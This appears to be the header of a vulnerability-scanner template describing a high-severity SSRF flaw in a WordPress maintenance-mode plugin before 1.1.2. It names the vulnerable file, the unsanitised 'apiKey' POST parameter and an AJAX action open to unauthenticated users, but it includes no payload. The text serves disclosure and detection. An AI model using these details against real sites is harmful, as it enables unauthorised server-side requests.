  name: Under Construction, Coming Soon & Maintenance Mode < 1.1.2 - Server Side Request Forgery (SSRF)
  author: Akincibor
  severity: high
  description: |
    The includes/mc-get_lists.php file used the 'apiKey' POST parameter to create an https URL from it without sanitisation and called it with cURL, leading to a SSRF issue. The issue is exploitable via direct access to the affected file, and ucmm_mc_api AJAX call (available to both authenticated and unauthenticated users).
